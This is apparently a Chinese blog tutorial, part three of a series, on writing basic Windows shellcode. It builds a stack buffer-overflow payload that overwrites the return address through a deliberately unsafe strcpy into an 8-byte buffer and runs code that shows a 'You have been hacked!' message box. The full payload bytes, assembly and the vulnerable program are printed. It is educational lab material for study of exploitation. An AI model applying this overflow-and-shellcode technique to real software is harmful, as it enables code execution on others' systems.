shellcode编写(三)

切入正题,这次我们进行shellcode编写,只是基础的编写,不会涉及的太复杂,我们这次编写的shellcode就是让程序自动弹出一个对话框,我这里使用的c语言中的MessageBox()这个函数来进行编写。

我们首先需要做的就是获取调用MessageBox()这个函数的API.所以说,我们就需要获取该函数的地址

#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{ 
        HINSTANCE LibHandle;
        MYPROC ProcAdd;
        LibHandle = LoadLibrary("user32");
        //获取user32.dll的地址
        printf("user32 = 0x%x\n", LibHandle);
        //获取MessageBoxA的地址
        ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA");
        printf("MessageBoxA = 0x%x\n", ProcAdd);
        getchar();
        return 0;
}

执行结果如下:

image-20200118143415777

MessageBox()函数在我们系统中的地址为0x77d507ea 当然这个地址在不同的系统中,应该是不同的,所以我们在编写ShellCode之前,一定要先查找所要调用的API函数的地址 ,由于我们利用溢出操作破坏了原本的栈空间的内容,这就可能会在我们的对话框显示完后,导致程序崩溃,所以为了谨慎起见,我们这里还需要使用ExitProcess()函数来令程序终止。这个函数位于kernel32.dll里面,所以这里同样可以使用上述程序进行函数地址的查找,只要稍微修改一下就可以了:

#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{ 
        HINSTANCE LibHandle;
        MYPROC ProcAdd;
        LibHandle = LoadLibrary("kernel32");  // 这里
        //获取user32.dll的地址
        printf("kernel32 = 0x%x\n", LibHandle);
        //获取MessageBoxA的地址
        ProcAdd=(MYPROC)GetProcAddress(LibHandle,"ExitProcess"); // 这里
        printf("ExitProcess = 0x%x\n", ProcAdd);
        getchar();
        return 0;
}

运行结果如下:

image-20200118143722638

ExitProcess()地址是0x7c81cafa

接下来,我们就开始编写汇编代码。

在汇编语言中,想调用某个函数,是需要使用CALL语句的,而在CALL语句的后面,需要跟上该函数在系统中的地址。因为我刚才已经获取到了MessageBox()ExitProcess()函数的地址,所以我们在这里就可以通过CALL相应的地址的方法来调用相应的函数。但是实际上,我们在编程的时候,一般还是先将地址赋给诸如eax这样的寄存器,然后再CALL相应的寄存器,从而实现调用的 。

如果说我们想要调用的函数还包含有参数,那么我们就需要先将参数利用PUSH语句从右至左分别入栈,之后再调用CALL语句。比如现在有一个Function(a,b,c)函数,我们想调用它,那么它的汇编代码就应该编写为:

push c
push b
push a
mov eax,Addrssfunction
call eax

根据这个思想,我们就可以在VC++中利用内联汇编来调用 ExitProcess()这个函数:

xor ebx,ebx # ebx = 0
push ebx
mov eax, 0x7c81cafa
call eax

接下来编写MessageBox()这个函数调用。与上一个函数不同的是,这个API函数包含有四个参数,当然第一和第四个参数,我们可以赋给0值,但是中间两个参数都包含有较长的字符串,这时候就要把所需要用到的字符串转换为ASCII码值:

# 然后将每四个字符为一组,进行分组,将不满四个字符的,以空格(x20)进行填充
warning:
\x57\x61\x72\x6e
\x69\x6e\x67\x20
You have been hacked!(by Taoy):
\x59\x6f\x75\x20
\x68\x61\x76\x65
\x20\x62\x65\x65
\x6e\x20\x68\x61
\x63\x6b\x65\x64
\x21\x28\x62\x79
\x20\x54\x61\x6f
\x79\x29\x20\x20

​ 这里之所以需要以x20进行填充,而不是x00进行填充,就是因为我们现在所利用的是strcpy的漏洞,而这个函数只要一遇到x00就会认为我们的字符串结束了,就不会再拷贝x00后的内容了

由于我们的计算机是小端显示,因此字符的进展顺序是从后往前不断进栈的,即Warning的进栈顺序为:

push 0x20676e69
push 0x6e726157 // push "Warning"

我们如何获取这两个字符串的地址 ? 我们可以利用esp指针,因为esp始终指向栈顶的位置,所以我们将字符压入栈以后,将esp的值赋给别的相应的寄存器即可mov eax,espmov ebx,esp

如此,我们在进行函数的调用

push ebx
push eax
push ecx
push ebx
mov eax, 0x77d507ea
call eax // call MessageBox

我们将代码写入vc6.0++, 完整代码如下:

int main(){
    _asm{
        sub esp,0x50
        xor ebx,ebx
        push ebx     // cut string
        push 0x20676e69   
        push 0x6e726157    // push "Warning"
        mov eax,esp
        push ebx             // cut string  
        push 0x20202979
        push 0x6f615420
        push 0x79622821
        push 0x64656b63
        push 0x6168206e
        push 0x65656220
        push 0x65766168
        push 0x20756f59    // push "You have been hacked!(by Taoy)"
        mov ecx,esp        

        push ebx
        push eax
        push ecx
        push ebx
        mov eax,0x77d507ea
        call eax           // call MessageBox
        push ebx
        mov eax, 0x7c81cafa
        call eax            // call ExitProcess
    }
return 0;
}

然后我们通过调试来提取shellcode.

image-20200118150649315

按下F9左侧有个红色的圆圈出现后,然后按F5进入调试,然后alt + 8,显示机器码

image-20200118150848143

将这个汇编指令转换的机器码提取出来即可,提取完机器码, 完整的shellcode以及程序代码如下:

char name[] =
"\x41\x41\x41\x41\x41\x41\x41\x41" //name[0]~name[7]
"\x42\x42\x42\x42"    //EBP
"\x79\x5b\xe3\x77"    //ReturnAddress
"\x83\xEC\x50"    //subesp,0x50
"\x33\xDB"    //xorebx,ebx
"\x53"    //pushebx
"\x68\x69\x6E\x67\x20"
"\x68\x57\x61\x72\x6E"    //push"Warning"
"\x8B\xC4"    //moveax,esp
"\x53"    //pushebx
"\x68\x79\x29\x20\x20"
"\x68\x20\x54\x61\x6f"
"\x68\x21\x28\x62\x79"
"\x68\x63\x6B\x65\x64"
"\x68\x6E\x20\x68\x61"
"\x68\x20\x62\x65\x65"
"\x68\x68\x61\x76\x65"
"\x68\x59\x6F\x75\x20"    //push"Youhavebeenhacked!(byJ.Y.)"
"\x8B\xCC"    //movecx,esp
"\x53"    //pushebx
"\x50"    //pusheax
"\x51"    //pushecx
"\x53"    //pushebx
"\xB8\xea\x07\xd5\x77"
"\xFF\xD0"    //callMessageBox
"\x53"
"\xB8\xFA\xCA\x81\x7C"
"\xFF\xD0";

由于我们这里调用了MessageBox,因此需要在源程序中加入LoadLibrary(“user32.dll”);这条语句用于加载相应的动态链接库,而由于使用了LoadLibrary(),还需要加入windows.h这个头文件。

此时代码为:

#include <windows.h>
#include <stdio.h>
#include <string.h>

char name[] =
"\x41\x41\x41\x41\x41\x41\x41\x41" //name[0]~name[7]
"\x42\x42\x42\x42"    //EBP
"\x79\x5b\xe3\x77"    //ReturnAddress
"\x83\xEC\x50"    //subesp,0x50
"\x33\xDB"    //xorebx,ebx
"\x53"    //pushebx
"\x68\x69\x6E\x67\x20"
"\x68\x57\x61\x72\x6E"    //push"Warning"
"\x8B\xC4"    //moveax,esp
"\x53"    //pushebx
"\x68\x79\x29\x20\x20"
"\x68\x20\x54\x61\x6f"
"\x68\x21\x28\x62\x79"
"\x68\x63\x6B\x65\x64"
"\x68\x6E\x20\x68\x61"
"\x68\x20\x62\x65\x65"
"\x68\x68\x61\x76\x65"
"\x68\x59\x6F\x75\x20"    //push"Youhavebeenhacked!(by Taoy)"
"\x8B\xCC"    //movecx,esp
"\x53"    //pushebx
"\x50"    //pusheax
"\x51"    //pushecx
"\x53"    //pushebx
"\xB8\xea\x07\xd5\x77"
"\xFF\xD0"    //callMessageBox
"\x53"
"\xB8\xFA\xCA\x81\x7C"
"\xFF\xD0";

int main(){
    char buffer[8];
    LoadLibrary("user32.dll"); // 加载 user32.dll 动态链接库
    strcpy(buffer, name);
    printf("%s\n",buffer);
    getchar();
    return 0;
}

然后运行程序,可以看到我们已经成功利用了漏洞:

image-20200118153644848

我们接下来使用OD调试,一步一步跟进,发现指向完jmp esp,跳转到了我们的shellcode处

image-20200118160152832

我们继续往下,下图显示的过程就是把MessageBox()函数的参数入栈,然后call 这个函数

image-20200118160255053

image-20200118160440020

最后,我们观察一下数据以及堆栈的情况:

我们跳转到esp处(在数据区域, ctrl+G, 输入 esp),查看栈区域的数据:

image-20200118160811255

总结:

暂无...

参考:

本文链接:

https://www.betao.cn/archives/bf03.html
1 + 8 =
快来做第一个评论的人吧~